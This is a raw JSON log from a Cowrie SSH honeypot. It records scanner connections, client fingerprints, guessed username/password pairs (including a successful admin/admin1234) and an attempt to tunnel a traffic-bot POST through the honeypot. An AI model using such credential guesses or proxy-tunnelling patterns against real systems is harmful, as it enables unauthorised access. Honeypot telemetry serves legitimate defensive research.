{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:01.518730Z","session":"d8317a0fa66f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:01.767843Z","src_ip":"123.27.168.40","session":"d8317a0fa66f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03p|\\x03\\x8b\\xb8\\xbdn\\xb3\\x89,\\x12#\\x99\\xcb3\\x16H\\x00\\xd0\\xc6\\x87\\xb1y \\x1d\\x07\\xd66c~\\xe4* \\xb2\\x12\\xa2\\xe44\\x16o\\t\\xc0\\xf3\\x86\\x8dx\\xe9\\xc4\\x97\\x8a\\xdc\\xb2KZ\\x1c\\xf4{\\x17P9\\xb7\\x1a{\\x9f\\x7f\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd4~\\x84\\x85\\x15/\\xe73\\x11\\xf4\\x04d#8\\xaa\\xf9z\\x7f\\xd4\\xff4\\x8cV\\x80\\xb8t\\xb7T\\xf0g\\x7f\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03p|\\x03\\x8b\\xb8\\xbdn\\xb3\\x89,\\x12#\\x99\\xcb3\\x16H\\x00\\xd0\\xc6\\x87\\xb1y \\x1d\\x07\\xd66c~\\xe4* \\xb2\\x12\\xa2\\xe44\\x16o\\t\\xc0\\xf3\\x86\\x8dx\\xe9\\xc4\\x97\\x8a\\xdc\\xb2KZ\\x1c\\xf4{\\x17P9\\xb7\\x1a{\\x9f\\x7f\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd4~\\x84\\x85\\x15/\\xe73\\x11\\xf4\\x04d#8\\xaa\\xf9z\\x7f\\xd4\\xff4\\x8cV\\x80\\xb8t\\xb7T\\xf0g\\x7f\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:01.771134Z","src_ip":"123.27.168.40","session":"d8317a0fa66f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:01.828026Z","src_ip":"91.92.40.36","session":"c7db1c460862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:01.848301Z","src_ip":"91.92.40.36","session":"c7db1c460862","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":63666,"dst_ip":"10.17.0.5","dst_port":22,"session":"283161348bdc","protocol":"ssh","message":"New connection: 45.153.34.195:63666 (10.17.0.5:22) [session: 283161348bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:02.002646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:02.010955Z","src_ip":"45.153.34.195","session":"283161348bdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:02.082905Z","src_ip":"123.27.168.40","session":"d8317a0fa66f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:02.107080Z","src_ip":"45.153.34.195","session":"283161348bdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"root","message":"login attempt [myuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:02.353663Z","src_ip":"45.153.34.195","session":"283161348bdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":54781,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc71650cec4c","protocol":"ssh","message":"New connection: 123.27.168.40:54781 (10.17.0.5:22) [session: dc71650cec4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:03.250801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:03.258046Z","src_ip":"123.27.168.40","session":"dc71650cec4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:03.453907Z","src_ip":"45.153.34.195","session":"283161348bdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:03.678995Z","src_ip":"123.27.168.40","session":"dc71650cec4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.2","message":"Connection lost after 14.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:04.680784Z","src_ip":"91.92.40.36","session":"af2e3b79db3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.4","message":"Connection lost after 21.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:04.818962Z","src_ip":"91.92.40.36","session":"3b2377b5592d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":48136,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d437688d23d","protocol":"ssh","message":"New connection: 45.153.34.195:48136 (10.17.0.5:22) [session: 5d437688d23d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:04.848593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:04.857634Z","src_ip":"45.153.34.195","session":"5d437688d23d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:04.938488Z","src_ip":"45.153.34.195","session":"5d437688d23d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:04.963935Z","src_ip":"123.27.168.40","session":"dc71650cec4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:05.201900Z","src_ip":"201.17.146.173","session":"ce0b7f6197b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$%^","message":"login attempt [root/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:05.250955Z","src_ip":"45.153.34.195","session":"5d437688d23d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:05.478630Z","session":"dc71650cec4c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:05.608184Z","session":"dc71650cec4c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:05.888894Z","src_ip":"123.27.168.40","session":"dc71650cec4c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 4.0.4; Mobile; rv:72.0) Gecko/72.0 Firefox/72.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1170\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Yj9Fa0NfR0o4OS8vMGtGew%3D%3DzU0JBoKyFIjzF5OmRI6OCxbhHj3Rfdq2VcchnBSkxJnRa0QXerGDCMl7ct8JcOieZag%2FwvIbnexuylHQVkwLKGgwK2y7Q0WpCzmsEFbBRZxWe2SGkk76xFqF0rrL%2FnK6tGBCJQuOE40rsCcO5Ut7FtZsI9EEqOGXRRW%2BeU7slgT8Tt9UE4FC5Nmk6RHULTA21zSOkbgqDkVsuxXOGfYjFNu4x5uzLujQHqplC2LYf4oyDuzOEZpzcCBO1RybocfbHP0zdNCwaXHwDIN0GvM%2Bu%2B2Swe2FvBoh8Z6YMBsVTVS0mAi9%2BepSosCcXVotxUE5zgfsa4TyTrMIoIT%2BfiH8pXpej0Ao%2F1HJ1VYhCsAPllxMnkLurg4XqL3IUjkk%2FQoeyrjD5Q2GD39e4fQ%2FHHCHjCdvtrrhQEtUsFjPoDBMwqDZhXwiN00%2Bc7t5K%2FdUdT9SE7yRy3wISbRxlLWASIiRusgnK6tyYkNR687K9qYqqiHYCJmBzX3erv6zIypsAT9BvXEV%2F6aL4Z8FX9gIZaYVeDHuqHhv6YsUfdctgh4cgxji7hVsFTtXe0KtK04T3KQBA%2BhJkP0w%2FAjfEeztfyKP0%2FM0RxI20c9L05bQiedRUJq%2BcfmNb6bhF%2BQX1213E514gn6lcWIG1Fb1jiKLABiSCiHPUsjfZQiDC6Tq%2BDp5vO8WrYYFZQaRYq9KhvVjxeq9Ccm0eGXgsRCfBO6ofOG73w94w8G8LDUoG9tuBgvi05Lovqqo%2FiaZRGUrtGAu%2F4Pw9CKbqoWzaswSeSlc8LhxWEUmYbXj2hJnIMf%2F2ub4ad7dlPfINbP9zq1MFvtVyp1j3GLao%2B%2B4zcUS1R7l6rwBchv8%2B%2FwNoDGv0N73GRUKWMVzgjbskf72%2FIjj2%2F2J6OPX5r3y0lkKQZPsSntXMw9ExuCksGz91rtqrl4McbIh2kVCPoJnlUNFvaxxKYh4hqpLtlH3y9C%2BfwA%2Bkq5e0inlNDFhWsXu1bCcIN%2BYIIDScJLNbCwpmx%2BIOZIU9um8fU%2FfUljQ2dOt1uvacJoVizY%2BASa%2FDpHlmjuMXpwq52nReRU%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 4.0.4; Mobile; rv:72.0) Gecko/72.0 Firefox/72.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1170\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Yj9Fa0NfR0o4OS8vMGtGew%3D%3DzU0JBoKyFIjzF5OmRI6OCxbhHj3Rfdq2VcchnBSkxJnRa0QXerGDCMl7ct8JcOieZag%2FwvIbnexuylHQVkwLKGgwK2y7Q0WpCzmsEFbBRZxWe2SGkk76xFqF0rrL%2FnK6tGBCJQuOE40rsCcO5Ut7FtZsI9EEqOGXRRW%2BeU7slgT8Tt9UE4FC5Nmk6RHULTA21zSOkbgqDkVsuxXOGfYjFNu4x5uzLujQHqplC2LYf4oyDuzOEZpzcCBO1RybocfbHP0zdNCwaXHwDIN0GvM%2Bu%2B2Swe2FvBoh8Z6YMBsVTVS0mAi9%2BepSosCcXVotxUE5zgfsa4TyTrMIoIT%2BfiH8pXpej0Ao%2F1HJ1VYhCsAPllxMnkLurg4XqL3IUjkk%2FQoeyrjD5Q2GD39e4fQ%2FHHCHjCdvtrrhQEtUsFjPoDBMwqDZhXwiN00%2Bc7t5K%2FdUdT9SE7yRy3wISbRxlLWASIiRusgnK6tyYkNR687K9qYqqiHYCJmBzX3erv6zIypsAT9BvXEV%2F6aL4Z8FX9gIZaYVeDHuqHhv6YsUfdctgh4cgxji7hVsFTtXe0KtK04T3KQBA%2BhJkP0w%2FAjfEeztfyKP0%2FM0RxI20c9L05bQiedRUJq%2BcfmNb6bhF%2BQX1213E514gn6lcWIG1Fb1jiKLABiSCiHPUsjfZQiDC6Tq%2BDp5vO8WrYYFZQaRYq9KhvVjxeq9Ccm0eGXgsRCfBO6ofOG73w94w8G8LDUoG9tuBgvi05Lovqqo%2FiaZRGUrtGAu%2F4Pw9CKbqoWzaswSeSlc8LhxWEUmYbXj2hJnIMf%2F2ub4ad7dlPfINbP9zq1MFvtVyp1j3GLao%2B%2B4zcUS1R7l6rwBchv8%2B%2FwNoDGv0N73GRUKWMVzgjbskf72%2FIjj2%2F2J6OPX5r3y0lkKQZPsSntXMw9ExuCksGz91rtqrl4McbIh2kVCPoJnlUNFvaxxKYh4hqpLtlH3y9C%2BfwA%2Bkq5e0inlNDFhWsXu1bCcIN%2BYIIDScJLNbCwpmx%2BIOZIU9um8fU%2FfUljQ2dOt1uvacJoVizY%2BASa%2FDpHlmjuMXpwq52nReRU%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:05.891845Z","src_ip":"123.27.168.40","session":"dc71650cec4c","protocol":"ssh"}
